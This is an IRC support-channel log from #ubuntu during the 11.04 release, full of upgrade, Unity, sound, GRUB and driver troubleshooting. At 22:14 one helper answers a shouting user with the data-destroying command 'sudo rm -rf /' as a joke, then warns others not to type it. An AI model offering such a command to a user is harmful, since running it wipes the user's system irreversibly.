[21:57] <maxflax> Im getting "ERROR Dist-upgrade failed: 'E:Error, pkgProblemResolver::Resolve" when trying to upgrade to natty
[21:57] <TheBuntu> how do i set 11.04 beta 2 to upgrade to the stable
[21:57] <samtate> syn3rgy, Dont use unity is the answer
[21:57] <banderl0g> seconded above question
[21:57] <FunnyLookinHat> Hey what is the key combo to grep for a tab ?
[21:57] <FunnyLookinHat> i.e.
[21:57] <ActionParsnip> TheBuntu: just run: sudo apt-get update; sudo apt-get -y upgrade
[21:57] <FunnyLookinHat> grep "something[TAB]bleh"
[21:57] <engammalsko> ohsix: Yep, it was right. It works now ^^
[21:57] <engammalsko> Thanks
[21:57] <FLeiXiuS> FunnyLookinHat, \t
[21:57] <lcb> TheBuntu, just upgrade normally
[21:57] <TiagoTiago> be back in a bit
[21:57] <syn3rgy> samtate Yeah I have a feeling you might be right.
[21:57] <samtate> syn3rgy, It doesnt support the notification area
[21:57] <ny51bern> lcb: you got any ideas for me? a2c4 credited you with 2 links but idk what they mean
[21:57] <FunnyLookinHat> FLeiXiuS, that's what I thought - hmmm...
[21:57] <FLeiXiuS> FunnyLookinHat, or use cut/awk.
[21:57] <trae> odd...  so on Unity I have to have an icon ON the desktop as well as ON the launcher?  that's ridiculous.
[21:58] <ohsix> syn3rgy: in unity the top bar is not really a panel, it just looks like it; if you want the panel pick the classic session on the login screen, after you click on your username
[21:58] <engammalsko> Can I change the scroll to classic scroll?
[21:58] <FLeiXiuS> functor, You cant really grep for a 'tab' but you can grep for pattern matches.  Or use awk/cut to separate the data.
[21:58] <lcb> ny51bern, check the scenarios there, you might get the one you need
[21:58] <Kyubey> ActionParsnip Error: need a repository as argument
[21:58] <maxflax> Im getting "ERROR Dist-upgrade failed: 'E:Error, pkgProblemResolver::Resolve" when trying to upgrade to natty
[21:58] <zvacet> TheBuntu: sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade
[21:58] <FunnyLookinHat> trae, Why do you say that?  You only need icons on the launcher if that's all you want,
[21:58] <JPeterson> To be clearer I get the "Ubuntu 11.04 upgrade stuck on grub 1.97 beta 4 CLI" problem!
[21:59] <ny51bern> lcb: I'm not sure what GRUB i have
[21:59] <ActionParsnip> Kyubey: sudo add-apt-repository ppa:sevenmachines/flash
[21:59] <syn3rgy> ohsix yeah I think Ill do that. Is there anything that Unity has for an advanced user of *nix systems that I should know about?
[21:59] <engammalsko> Can I change the scroll to classic scroll?
[21:59] <trae> FunnyLookinHat: how can I add a launcher to the panel in unity WITHOUT adding it to the desktop first.  And, giving it a custom icon on the panel.
[21:59] <functor> tab fail
[21:59] <lcb> ny51bern, btw, a2c4n9e1 receives a commission on every user i try to help, that's why
[21:59] <juzzy_> HELP! all my file folder try to open with gedit text editor!
[21:59] <SudoGhost-Away> Is there a way to make it so that the unity sidebar thing is always shown?
[21:59] <TheBuntu> already did dist-upgrade....so it must be there
[21:59] <JPeterson> why wont it boot?
[21:59] <Kyubey> ActionParsnip, done
[21:59] <ny51bern> lcb: i think I have grub 2, they only lst 1.99
[21:59] <juzzy_> HELP! all my file folder try to open with gedit text editor!
[21:59] <trae> FunnyLookinHat: cause when I remove it from the desktop, it goes away from the panel.
[21:59] <ohsix> syn3rgy: not really; it's just different, i wouldn't try to look for things i'd just try and use it as it was intended, as close as you can like a new user
[21:59] <FunnyLookinHat> trae, Click the ubuntu icon in the top left, search for your app, and then click & drag it to the panel...
[21:59] <samtate> SudoGhost-Away, Install ccsm and tell me when your done
[22:00] <FunnyLookinHat> trae, To customize it further, right click ti.
[22:00] <ActionParsnip> Kyubey: ok then install flashplugin64-installer
[22:00] <samtate> SudoGhost-Away, paste apt:ccsm into your browser and press enter
[22:00] <lcb> ny51bern, check the commands for grub :P that's how i learn
[22:00] <engammalsko> Can I change my scrolls to the classis scroll?
[22:00] <trae> FunnyLookinHat: odd... I only get "keep in Launcher" when I right click
[22:00] <lcb> ny51bern, on those pages there is one with the list of commands
[22:00] <FunnyLookinHat> trae, Oh hmmm
[22:00] <SudoGhost-Away> samtate, Not found
[22:00] <FunnyLookinHat> trae, The other option is to create a folder of custom launchers in your home folder.
[22:01] <FunnyLookinHat> trae, And then link those to your unity panel
[22:01] <trae> FunnyLookinHat: lol
[22:01] <FunnyLookinHat> trae, suffice it to say: http://i.imgur.com/zdIIa.png
[22:01] <trae> FunnyLookinHat: yeah it's a fix... but.... sheesh... I hope Miguel didn't make these Gnome3 decisions  or I'll have to beat him and Nat.
[22:01] <lcb> FunnyLookinHat, i like your hat. reminds me one i saw today on the wedding in london
[22:01] <Kyubey> ActionParsnip, installed
[22:01] <Kyubey> now what?
[22:01] <SudoGhost-Away> samtate, installing "Advanced Desktop Effects Settings (ccsm)"
[22:01] <FunnyLookinHat> lcb, Hah!
[22:01] <ActionParsnip> Kyubey: ok try flash
[22:02] <ny51bern> lcb: i really am not sure what to do..
[22:02] <Kyubey> Why?
[22:02] <SudoGhost-Away> samtate, installed
[22:02] <Kyubey> I need sound :(
[22:02] <TiagoTiago> back
[22:02] <samtate> SudoGhost-Away, sudo apt-get install compiz compizconfig-settings-manager
[22:02] <FunnyLookinHat> trae, I have a feeling the customization of Unity will be a big player in 11.10 - it's silly that you have to install ccsm just to adjust Unity's panel
[22:02] <samtate> SudoGhost-Away, Oh OK
[22:02] <ActionParsnip> FunnyLookinHat: what'swrong with it?
[22:02] <syn3rgy> ohsix think Ill install Gnome 3 and just give that a spin. I spend 95 % of my time in emacs and the other 5 in a term. This is just to much rainbows and ponies for me.
[22:02] <FunnyLookinHat> ActionParsnip, What's wrong with what?
[22:02] <trae> FunnyLookinHat: seriously though, I appreciate the need for something new and flashy, but I'm not so sure why we had to push this alpha software out with 11.04
[22:02] <Kyubey> Actionparsnip, flash is playing fine
[22:02] <samtate> SudoGhost-Away, Now open it by pressing Alt + F2 and typing ccsm
[22:02] <trae> anyway :(
[22:02] <Kyubey> Actionparsnip, now, what about my sound?
[22:03] <SudoGhost-Away> samtate, done
[22:03] <ActionParsnip> Kyubey: sweet, thought you were only missing sound in flash
[22:03] <FunnyLookinHat> trae, If you want to run Gnome - you can do so... simply select "Gnome Desktop" on the login screen...
[22:03] <d3vlin> update-initramfs broken in natty? I don't get any feedback/update, immediately returns to prompt
[22:03] <ActionParsnip> FunnyLookinHat: the image
[22:03] <FunnyLookinHat> trae, No need to force yourself to use it unless you like it.
[22:03] <samtate> SudoGhost-Away, Go to the unity section
[22:03] <FunnyLookinHat> ActionParsnip, Lots of wasted space...  :)
[22:03] <TiagoTiago> hm, gotta go, 8mll see if i can come back later let you guys know how things went
[22:03] <TiagoTiago> cya
[22:03] <banderl0g> How can I tell if my natty Beta 2 has been fully upgraded to the final release?
[22:03] <trae> FunnyLookinHat: I may try though...   I do like you, in spite of your funny hat.
[22:03] <samtate> SudoGhost-Away, And I dont have natty with me, but it has a purple circle logo; easy to see
[22:03] <maxflax> I have problem upgrading from 10.10 to 11.04 and this is my apt.log http://paste.ubuntu.com/600970/
[22:03] <FunnyLookinHat> trae, Hah!  Sounds good
[22:03] <OY1R> im having problems booting when i try i get this error > http://paste.ubuntu.com/600969/ im running 10.10
[22:03] <SudoGhost-Away> samtate, done
[22:03] <ActionParsnip> banderl0g: run updates, no updates mean it is stable
[22:04] <lcb> ny51bern, look, handling grub is not difficult. difficult and very risky is trying to help someone remotely, because you can easily screw everything. go slowly and with patience and you'll get it.
[22:04] <banderl0g> ok, then it seems it is, thanks ActionParsnip
[22:04] <trae> FunnyLookinHat: thanks for the hack work-around, I thought of that but felt very dirty to even try it.  lol
[22:04] <Kyubey> Actionparsnip, no, I said that I cant adjust my volume/unmute and when I try to go into sound preferences it tells me it's waiting for the sound system to respond
[22:04] <SudoGhost-Away> samtate, got it, thank you ver much
[22:04] <phibxr> FunnyLookinHat, I agree that it's a bit silly that you need external packages to configure the behavior of the default GUI. I still like Unity though. :P
[22:04] <samtate> SudoGhost-Away, No problem. Its annoying that it isnt like that by default, but oh well
[22:04] <lcb> ny51bern, unless someone else want to give a try, with this "confusion" in the #chan
[22:04] <ohsix> ActionParsnip: things are opening the sound device under pulseaudio
[22:04] <Oday> anyone use TKCVS?
[22:05] <Oday> i have no idea what to enter in "Module" when specifying the CVSROOT
[22:05] <lcb> ticks? my cat
[22:05] <lcb> Oday, :)
[22:05] <trae> I've been using Linux for a long time, what 95?  And well... I've never seen as silly of a move as this in a major distro for the default UI.
[22:05] <lcb> Oday, that's a good one
[22:05] <UbuntuLove> Unity Does not support propietary nvidia driver....any help?
[22:05] <FunnyLookinHat> phibxr, I like Unity too - I'm mostly hoping that they nail it the second time around in 11.10 with configuration options.  :)
[22:05] <ActionParsnip> FunnyLookinHat: then replace gnome-panel in your gconf-editor to be something else and it will go, you need the panel to hold thefile, edit menus of each app unless you make the system put them in the traditional place
[22:05] <trae> but anyhoo... I'll drink a cup of STFU.  :)
[22:05] <Oday> TKCVS is good, lcb? or my question? :P
[22:06] <ohsix> trae: if you don't need help, #ubuntu-offtopic
[22:06] <lcb> Oday, the package
[22:06] <engammalsko> PLEASE HELP!!!!!
[22:06] <maxflax> I have problem upgrading from 10.10 to 11.04 and this is my apt.log http://paste.ubuntu.com/600970/
[22:06] <Oday> ok lcb
[22:06] <engammalsko> I can't move my windows anymore.
[22:06] <ohsix> trae: there was a long long long review period before the release
[22:06] <engammalsko> I used this command: sudo su
[22:06] <engammalsko>  echo “export LIBOVERLAY_SCROLLBAR=0″ > /etc/X11/Xsession.d/80overlayscrollbars
[22:06] <Oday> great news, engammalsko
[22:06] <Kyubey> ActionParsnip, you have any ideas?
[22:06] <lcb> engammalsko, don't yell.. there is ppl sleeping here
[22:06] <botcity> UbuntuLove, of course it does
[22:06] <FunnyLookinHat> trae, ohsix yeah and the review process even involved a vote to back off Unity till 11.10
[22:06] <ohsix> engammalsko: moving windows is another compiz plugin
[22:06] <d3vlin> update-initramfs broken in natty? I don't get any feedback/update, immediately returns to prompt
[22:07] <trae> will head over there to save this channel some traffic
[22:07] <zombor> has anyone got sound working with an intel H61 i3 processor on board audio? when i do alsamixer it says "cannot load mixer controls: Invalid argument"
[22:07] <ohsix> FunnyLookinHat: you'll find that any time that question is asked it will always put something like unity off, into perpetuity
[22:07] <tase> How do I verify the integrity of a 10.10 Live CD ?
[22:07] <lcb> trae, don't worry. in time the transit police would be here
[22:07] <d3vlin> i.e. # update-initramfs -v or -h doesn't show anything
[22:08] <maxflax> I have problem upgrading from 10.10 to 11.04 and this is my apt.log http://paste.ubuntu.com/600970/
[22:08] <engammalsko> ohsix: Thanks.
[22:08]  * mcphail is giving up on the 64 bit live cd and trying the alternate cd.
[22:08] <ohsix> tase: with md5sum, compare it to the version on the website; or use the "check disk for errors" entry on the initial boot menu
[22:08] <LMJ> Hi
[22:08] <Jasonn> Anyone know how to start atheme services?
[22:08] <engammalsko> But, how do I change scrollbars?
[22:08] <engammalsko> To classic scrollbars.
[22:08] <trae> grrr you guys aren't even over there for me to talk to you ;)
[22:08] <fdsf> how do i create a password file?
[22:09] <tase> ohsix, there is no boot menu on this CD
[22:09] <aperson> I'm trying to turn a list that separated by newlines into a a comma delimited list, sed 'N;s/\n/, /g' doesn't seem to be working right
[22:09] <JPeterson> if I do ls /grub there is no grub file!
[22:09] <Soothsayer> I was running the internet upgrade from 10.10 to 11.04... during the installing process, my screen went blank.. and it kinda froze.. so I switched off my laptop directly.
[22:09] <lcb> maxflax, i took a quick look. do sudo apt-get check && sudo apt-get -f install
[22:09] <Soothsayer> Now when I boot, "The disk drive for / is not ready yet or not present". I'm getting this at Boot.
[22:09] <Dominater> how do i resize the bar on the left hand size where the icons are?
[22:09] <engammalsko> Or more importent. Why can't I use ctrl+alt+t to open the shell? I have looked up my hotkeys and it's right but it doesn't work.
[22:09] <ohsix> tase: the thing that asks for your language? you might need to press a key to display it
[22:09] <alaruz> I have an issue with the nm-applet. I have a laptop with 2 users. However only the first user logging in gets to use the nm-applet and choose wireless networks and more. I need to kill the nm-applet with sudo to be able to use it with user nr 2. Is this a known bug or should I report it, if so how?
[22:09] <maxflax> lcb - ok
[22:09] <a2c4n9e1> lcb, you know, i finally come around with my partitioning problem. thanks to ActionParsnip and you... ^_^
[22:09] <kapare_> QUESTION Ubuntu 11.04:  Radeon X1900 XT and I have this problem: glxinfo ==  Xlib:  extension "GLX" missing on display ":0.0"
[22:10] <figure002> hello. i've just burned the new ubuntu to a cd and i'm ready to install it *next to* ubuntu 10.10. but i don't want it to overwrite my grub from 10.10. is there a way to tell it to use the grub settings from 10.10?
[22:10] <Dominater> how do i resize the bar on the left hand size where the icons are?
[22:10] <lcb> maxflax, you didn't upgrade your system before 11.04 :(
[22:10] <ohsix> alaruz: it should work with both, but the changes would be mutually exclusive, it would get the authentication/wifi information only from one however
[22:10] <lcb> a2c4n9e1, :)
[22:10] <Dominater> how do i resize the bar on the left hand size where the icons are?
[22:10]  * Kyubey sighs
[22:10] <Kyubey> let's start again, I guess
[22:10] <Neosano> Hello guys, I'm installing ubuntu on usb flash drive, is it a good idea to create a swap partition or not?
[22:10] <lcb> kycka, from zero
[22:10] <z0mbyk1d> 24 minutes left of package downloads to go from 9.10 to 10.04
[22:10] <a2c4n9e1> and now i have a problem installing opensshserver
[22:10] <maxflax> lcb - what do you mean?
[22:10] <z0mbyk1d> jesus i didnt realize this machine was so far behind
[22:11] <lcb> maxflax, did you?
[22:11] <ohsix> Dominater: install ccsm and edit the settings for the Unity plugin in it
[22:11] <Kyubey> Everyone, I'm having trouble getting sound to work in natty. I cant adjust the volume or unmute it, and if I click sound preferences, it tells me "Waiting for sound system to respond"
[22:11] <samtate> ActionParsnip: What did you tell me to do before?
[22:11] <ohsix> Kyubey: i told you what the problem is
[22:11] <Dominater> ohsix, thank you
[22:11] <a2c4n9e1> it keeps telling me the openssh-client version is higher than the openssh-server needed
[22:11] <maxflax> lcb - my 10.10 is a initial install - no upgrade
[22:11] <ohsix> Kyubey: what part of the answer did you not like?
[22:11] <tase> ohsix: .... my language ? yea ok there is "Try Ubuntu" and "install ubuntu", its a GUI, which button/key ?
[22:11] <lcb> maxflax, also type sudo dpkg -a
[22:11] <samtate> ActionParsnip: To do with my sound card, and putting something into some file. Because I lost it :P
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[22:12] <macs> .
[22:12] <sluther> Oh not again.
[22:12] <DrShoggoth> uhm
[22:12] <z0mbyk1d> hahahaha
[22:12] <PolarPanda> Cooooome on!
[22:12] <z0mbyk1d> freenode staff!
[22:12] <Arachon> Wait..
[22:12] <ohsix> tase: there should be a message just after the cd boots that offers to select a language, try, install, or test the disk
[22:12] <Soothsayer> wtf was that?
[22:12] <ActionParsnip> samtate: (21:55:26) ActionParsnip: samtate: try adding: options snd-hda-intel model=thinkpad     to /etc/modprobe.d/alsa-base.conf      and reboot, may help
[22:12] <crescendo> n00b.
[22:12] <Arachon> "And Freenode staff"?
[22:12] <Neosano> lol
[22:12] <Soothsayer> lol
[22:12]  * Arachon shrugs
[22:12] <samtate> ActionParsnip: Cheers again :P
[22:12] <ActionParsnip> samtate: np
[22:12] <zombor> has anyone got sound working with an intel H61 i3 processor on board audio (Realtek ALC887)? when i do alsamixer it says "cannot load mixer controls: Invalid argument"
[22:12] <Neosano> Hello guys, I'm installing ubuntu on usb flash drive, is it a good idea to create a swap partition or not?
[22:12] <MACscr> there is zero logic to that statement. I really hate spammers
[22:12] <lcb> maxflax, before upgrading to 11.04 we need to update/grade our previous installation
[22:13] <Kyubey> ohsix - the part where you were fixing flash and not my sound at all
[22:13] <z0mbyk1d> 'immediate forgiveness'   jesus, forgive me immediately
[22:13] <z0mbyk1d> kthxbai
[22:13] <ohsix> ActionParsnip: that's not the best advice to give without also telling them to report a bug if it does work, if they roll with it and don't report a bug it might never be fixed
[22:13] <lcb> maxflax, upgrading not meaning dist-upgrade
[22:13]  * mongy logs ActionParsnip and calls it ubuntu-bible.doc
[22:13] <ohsix> Kyubey: flash is the problem, it's opened the sound device under pulse
[22:13] <maxflax> lcb - the sudo dpkg -a doesn't work - says it needs a action to do
[22:13] <ohsix> Kyubey: kill flash and pulse will start, but you'll probably run into the problem again in the future
[22:13] <FORTHELULZ> who said my name
[22:13] <lcb> maxflax, it works, try to reboot
[22:13] <FunnyLookinHat> zombor, GO AWAY
[22:13] <Kyubey> ohsix - I dont have flash running right now
[22:13] <lcb> maxflax, wait...
[22:14] <ohsix> Kyubey: i've used the native plugin and have not had that problem in a very very long time, and nspluginwrapper is garbage
[22:14] <zombor> FunnyLookinHat: FIX MY PROBLEM
[22:14] <ActionParsnip> mongy: hehe
[22:14] <Kyubey> It's still not letting me adjust the sound
[22:14] <crazyrohila> Neosano: why not you can make swap it's not bad idea :-)
[22:14] <ohsix> Kyubey: ok, then repaste the output of fuser -v /dev/snd/*
[22:14] <arand> forthelulz: Spammer
[22:14] <FunnyLookinHat> zombor, SUDO RM -RF /
[22:14] <_Mr_Proper_> Something is borked with my video card-- Normal display is fine, but if I open up a movie file, everything has a blue tint. The additional drivers window says the nvidia driver is 'activated but not currently in use'
[22:14] <FunnyLookinHat> NOBODY TYPE THAT
[22:14] <_Mr_Proper_> Can anyone help?
[22:14] <FORTHELULZ> thx
[22:14] <alaruz> ohsix: I can confirm that it is also how it seems to work. (networks added one one user is also stored on the other) how ever since this is a laptop it tends to be moved around. :) e.g. if user 1 logs in and (has control of the applet?) and later switches to user 2, how can that user add a new wifi network without first killing the applet?
[22:14] <FunnyLookinHat> _Mr_Proper_, Try a reboot after activating the driver?
[22:14] <Neosano> crazyrohila, well, some people say that it will kill my thumb drive faster
[22:14] <FunnyLookinHat> _Mr_Proper_, Also - do you have an Optimus card or something similar?
[22:14] <ActionParsnip> _Mr_Proper_: http://www.wiredrevolution.com/ubuntu/fix-blue-tinted-video-in-ubuntu
[22:14] <crazyrohila> nope
[22:15] <Kyubey> ohsix http://paste.ubuntu.com/600976/
[22:15] <_Mr_Proper_> FunnyLookinHat, Have done, and I've tried both current- and 173
[22:15] <lcb> maxflax, when the system is booting press SHIFT after the bios messages. you'll get the choice of kernels. select recovery. then you'll get a menu. select first CLEAN, then DPKG, then GRUB lastly failsafeX
[22:15] <crazyrohila> Neosano: nope
[22:15] <ohsix> alaruz: they can and should be able to add it for themselves, since the nm-applet they run provides all the information for networkmanager to do the work
[22:15] <quick_nick> what was that all about?
[22:15] <_Mr_Proper_> Ta, I'll check the link out, its an nVidia 8800 GT
[22:15] <mello> ohsix: I tried importing my library in rhythmbox clementine and exaile
[22:15] <ActionParsnip> _Mr_Proper_: you ot seen that link?
[22:15] <maxflax> lcb - ok
[22:15] <ActionParsnip> *not
[22:15] <ohsix> Kyubey: ok you have yet another problem with a browser plugin opening the device under pulseaudio
[22:15] <Neosano> crazyrohila, uhhm, ok, thanks
[22:15] <quick_nick> dude has nothing better to do than to?
[22:15] <lcb> maxflax, no precipitations, do it calmly
[22:15] <ohsix> Kyubey: keep killing it until it says pulseaudio in the output of fuser -v /dev/snd/*
[22:16] <mello> ohsix: rhythmbox=3772, clementine=2650,exaile=around 2300
[22:16] <_Mr_Proper_> ActionParsnip, I have now, I'll have a try with -recommended
[22:16] <_Mr_Proper_> thx
[22:16] <Ubuntu> unity does not support propietary nvidia card in my system...any help...pls
[22:16] <JPeterson> if I do "boot" then "no kernel is loaded"
[22:16] <ActionParsnip> _Mr_Proper_: not websearched before asking? I found that in a matter of seconds..
[22:16] <JPeterson> if I do linux /vmlinuz root=/dev/sda1 ro
[22:16] <lcb> Ubuntu, disable it and use generic while there is no update on those
[22:16] <_Mr_Proper_> I wasn't searching for blue hue, I was searching for something else
[22:16] <bsmith093> can i control the speed of ripping an audio cd to avoid skipping and jumping files
[22:16] <ohsix> mello: are they all mp3 or are there wma, ogg, flac and stuff all in there
[22:16] <samtate> ActionParsnip: I'm afraid that didnt work
[22:16] <alaruz> ohsix: Thats the thing, they are able to do that seperately. But the applet only seems to be "available" for one user at the time. e.g. on the second user the area where the applet is supposed to be is blank on the panel.
[22:16] <Kyubey> ohsix, now when I type that command it doesnt display anything
[22:17] <curiousx> Hi all =)
[22:17] <ActionParsnip> samtate: try model=laptop  instead
[22:17] <ohsix> Kyubey: ok then try opening th emixer
[22:17] <cardamoon> Speaking of, do you think the Narwhal upgrade dohick will seizure if I cancel it in the middle of its fetch?  I thought I'd be gone longer than I was, so I'd rather wait for the download later.
[22:17] <JPeterson> then "cannot open root device sda1"
[22:17] <mello> ohsix: i already thought of that: there are some flac and ogg in there, but not up to 1K
[22:17] <raylee_> is linux very secure os
[22:17] <Kyubey> ohsix - how do I do that? Do you mean the sound preferences? (I cant open that)
[22:17] <shesek_> Hey. Any idea what I should add to my /etc/apt/sources.list for the armel port sources (on Maverick) ?
[22:17] <curiousx> can helpme, how can i restore the menu bar in ubuntu 11.04 ?
[22:17] <shesek_> I can't seem to fidn that anywhere
[22:17] <ohsix> raylee_: linux is an important but small part of what people would call an "OS"
[22:17] <shesek_> s/fidn/find
[22:18] <rgoytacaz> thats why i dont like religion, there are too many fanatics, I'm all inclined to believe in good will and thats it.
[22:18] <lcb> raylee_, is it raylee_ , i mean, really is
[22:18] <qin> raylee_: Yes, less than BSD
[22:18] <Ubuntu> <lcb>am in now ubuntu classic (no effect)...is this a bug?
[22:18] <z0mbyk1d> anyone have any clue why logrotate will not actually rotate one log i have? when i manually run it (forced) it says it's rotating anc compressing it but it doesn't actually do anything...
[22:18] <FoolsRun> Hey, Unity-2d doesn't seem to autohide. Am I missing something?
[22:18] <ohsix> alaruz: that's probably right, it's one device; it cant' really be shared, but i dno't know how it decides which gets the wheel
[22:18] <lcb> ubottu, because the system didn't recognize 3d
[22:18] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[22:18] <curiousx> mi menu bar desapear how can i restore ? please helpme =)
[22:18] <ohsix> Kyubey: ok open a terminal and run pulseaudio -k && pulseaudio
[22:18] <ForeverBuzzed> How can I enable sun-jre? The help docs pulls up a link that opens the software center that says sun-java6-jre does not exist
[22:19] <curiousx> i am in ubuntu 11.04 with unity
[22:19] <tase> is it possible to run gnome from live cd ?
[22:19] <tase> on 11.04
[22:19] <_Mr_Proper_> Did the trick, thanks, no more blue hue :)
[22:19] <curiousx> yes
[22:19] <curiousx> excuse me i not american =(
[22:19] <phibxr> when you get a blue arrow in the upper left corner, how can you identify the window demanding attention?
[22:19] <cardamoon> It's not 11.04.  It's 10.10.  11.04 is a know bug. FYI.
[22:20] <Soothsayer> is ext4 file system faster than ext3?
[22:20] <MnCC> after two hours of surgery i finally have a working version of 11.04 ..
[22:20] <Kyubey> ohsix, http://paste.ubuntu.com/600978/
[22:20] <ActionParsnip> _Mr_Proper_: simple stuff.all I searched for was: ubuntu blue tint in video
[22:20] <lcb> Ubuntu, after removing the proprietary driver on "Additional Drivers" do failsafeX and reconfigure graphics
[22:20] <samtate> ActionParsnip: No, sorry
[22:20] <Ubuntu> <lcb>yeah ...but the driver is installed(worked with 10.10)....all i get is a screen with launcher but the cursor
[22:20] <alaruz> ohsix: Okey perhaps I have misunderstood how the applet really works. I migrated from vista to 10.10 this fall on my laptop, but even after natty-upgrade yesterday this issue is still present for me. I had the same user setup in windows without does issues.
[22:21] <html_inprogress> hello ? english?
[22:21] <Diosjoe> Hello, after updating to 11.04 i could use unity, but after first reboot after the update, it jumps straight to the old design, if i log the user out, i get a lot of graphic disortion, mouse pointer missing etc, though if i relog in i have a slight chance of getting unity back, until i reboot... help please << anymore information needed?
[22:21] <econdudeawesome> Howdy all. Is there anyway to make nano word wrap without linebreaks?
[22:21] <_Mr_Proper_> Is there an easy way to see if hardware acceleration is actually working? My original issue was that the additional drivers window says the nvidia driver is activated but not in use...  Things seem a little sluggish :)
[22:21] <ActionParsnip> samtate: ok try: options snd-hda-intel position_fix=1       instead
[22:21] <Ubuntu> <curiousx>with nvidia driver installed
[22:21] <lcb> Ubuntu, i know but there are some issues, among xorg not working with some graphics
[22:21] <curiousx> can someone help me ?
[22:22] <ny51bern> lcb:  theres a help button on the dialog when it asks me to choose that says " a new version of config file /etc/default/grub is avail, but the version installed has been locally modified
[22:22] <Soothsayer> is ext4 file system faster than ext3?
[22:22] <_Mr_Proper_> glxinfo | grep rendering == direct rendering: Yes, so I guess to some extent its working
[22:22] <ny51bern> lcb: that help?
[22:22] <lcb> curiousx, i'm one among more curiousx on what to help
[22:22] <samtate> ActionParsnip: I'm just adding this to the bottom of the file right?
[22:22] <BlouBlou> Soothsayer: it is
[22:22] <ohsix> alaruz: i'd presume that the current foreground user would get access, it might be a bug if that isn't the case
[22:22] <html_inprogress> whats the 10.04 ubuntu channel?
[22:22] <BlouBlou> html_inprogress: You're on it
[22:22] <ohsix> Soothsayer: it's faster in some circumstances, theres no comppsite number and it's also slower in some circumstances
[22:22] <Diosjoe> Can anyone help me with me gfx issues
[22:22] <BlouBlou> Diosjoe: Sure, ask it
[22:22] <lcb> ny51bern, yes, sure
[22:22] <ActionParsnip> samtate: yes, remove the one you tried before each time
[22:23] <Ubuntu> <lcb>will this be fixed soon...'cas i heard this issue in the internet
[22:23] <Soothsayer> I screwed up my laptop while upgrading.. now it can't find the mount for /
[22:23] <Soothsayer> reformatting the whole thing
[22:23] <ohsix> Kyubey: well there's your problem, pulse is refusing to start because you don't own your home directory, or it's permissions are too lax
[22:23] <Soothsayer> Do I have to define swap space during installation ?
[22:23] <Kyubey> ...what
[22:23] <Kyubey> How do I not own my home directory?
[22:23] <lcb> Ubuntu, hopefully yes, because i'm a junk computer colector
[22:23] <karth> anyone know how to modify unity so it doesn't do font scaling?
[22:23] <alex_> j #ubuntu
[22:23] <ohsix> Kyubey: are you running it as root?
[22:23] <ny51bern> lcb: any ideas?
[22:23] <alex_> woops
[22:23] <lcb> ny51bern, yes, update
[22:23] <Diosjoe> Bloublou,ive been running ubuntu fine, until i updated to 11.04. After upate it booted nicely with the new design. But after first reboot, it loads into old design, though works without glitches, unless i log out, then the gfx screws up
[22:23] <Kyubey> oh, woops
[22:24] <Kyubey> Okay
[22:24] <ohsix> it's a user level service
[22:24] <Kyubey> I typed sudo as an automatic thing
[22:24] <ActionParsnip> Kyubey: if you use sudo as little as possible, you won't break file ownerships
[22:24] <Rockj> Q: This new unity stuff, the tool bar at the top is rather annoying , I want the tool bar to be attached to my windows again so I can still continune to use "focus with mouse move" .. how do I fix this in unity?
[22:24] <ohsix> it'll be a fun day when that does something really bad
[22:24] <lcb> ny51bern, backup your /home dir to play on the safe side
[22:24] <Kyubey> ohsix, I ran the same command as normal, it said it "Failed to kil daemon: No such file or directory"
[22:24] <Diosjoe> if i login again, through the gfx mess, i might be lucky to have the new design back up, with no glitches, but still if i reboot it goes back
[22:24] <Neosano> Diosjoe, in my life I did 3 upgrades, none of these decisions were good.
[22:24] <ny51bern> lcb: theres no option to update..?
[22:24] <ohsix> Kyubey: then it started normally?
[22:25] <haroon> hello
[22:25] <Diosjoe> Neosano, so your saying format, install straight to 11.04 instead of updating
[22:25] <haroon> I need help
[22:25] <ohsix> Rockj: you probably wan't the classic session then, pick it on the login screen after clicking on your name
[22:25] <Kyubey> ohsix, huh?
[22:25] <Ubuntu> lcb:why is it not working after all...canonical says it is for netbooks...with less requirement....and yet it seems not to work(my one frnd had the same problem)
[22:25] <haroon> I just installed 11.04
[22:25] <samtate_> ActionParsnip: Still no :/
[22:25] <html_inprogress> well thats a whole lots of confusion,, i tried like 5 min ago and  there was like 88 ppl on that irc, and no one around did they  move it?    (#ubuntu)
[22:25] <Kyubey> ohsix, it said it failed to kill the daemon because there's no such file or directory
[22:25] <ActionParsnip> haroon: please use one line
[22:25] <alishah> hi, what is the most lite weight browser available in ubunutu?
[22:25] <ohsix> Kyubey: pulseaudio -k && pulseaudio tries to kill it, then run it again
[22:25] <Neosano> Diosjoe, well, you can upgrade, but be prepared for some things to get fucked up
[22:25] <ActionParsnip> samtate_: do you reboot in between?
[22:25] <Kyubey> ohsix, yeah, but it's saying there's no such file or directory
[22:25] <Diosjoe> Neosano, well i guess thats what happend
[22:25] <samtate_> ActionParsnip: Yeah of course
[22:26] <Kyubey> ohsix, when it tries to kill it
[22:26] <ohsix> Kyubey: that is fine, forget it, just run pulseaudio -vvv and see what it isays
[22:26] <Rockj> ohsix: hm, ok. ill try that. so ubuntu still got gnome?
[22:26] <kapare_> Hello, does anyone have ATI card with ubuntu 11.04 and OpenGL working??
[22:26] <Diosjoe> Well, ill format and reinstall it soon
[22:26] <samtate_> ActionParsnip: Unity is just really fast at starting
[22:26] <Diosjoe> though i must give PROPS to all devs
[22:26] <Diosjoe> on ALL improvements
[22:26] <BlouBlou> samtate_: It depends of your hardware
[22:26] <Diosjoe> i already love 11.04
[22:26] <ohsix> Rockj: yea, ubuntu still is 99.99% gnome, unity is a plugin for compiz which is an alternative window manager
[22:26] <Soothsayer> Do I have to define swap space during installation ? Does sawp require a separate partition?
[22:26] <ActionParsnip> samtate_: hehe, all I can recommend is you find the option you need for your make and model system
[22:26] <ohsix> Soothsayer: it doesn't require a separate partition, but you should use one if you can
[22:26] <samtate_> ActionParsnip: How can I find my sound card. Is there a command?
[22:26] <haroon> I just installed 11.04 at my labtop lenovo B560 .Wireless was working in 10.04 using broadcom now wireless isn't working please help
[22:26] <Ubuntu123> lcb::::
[22:26] <ohsix> Soothsayer: so you can hibernate to it
[22:27] <html_inprogress> alishah,  in what way ? lite ram its firefox
[22:27] <Soothsayer> ohsix: ye, I want to hibernate it
[22:27] <Soothsayer> ohsix: I have 3 gb of ram on this laptop.. so how much swap space?
[22:27] <scorch_> Is there any way to continue an aborted 10.10 to 11.04 upgrade?
[22:27] <Soothsayer> 4 GB ?
[22:27] <Kyubey> lots of text
[22:27] <ohsix> haroon: install the firmware with b43-fwcutter or use bcmwl-kernel-source
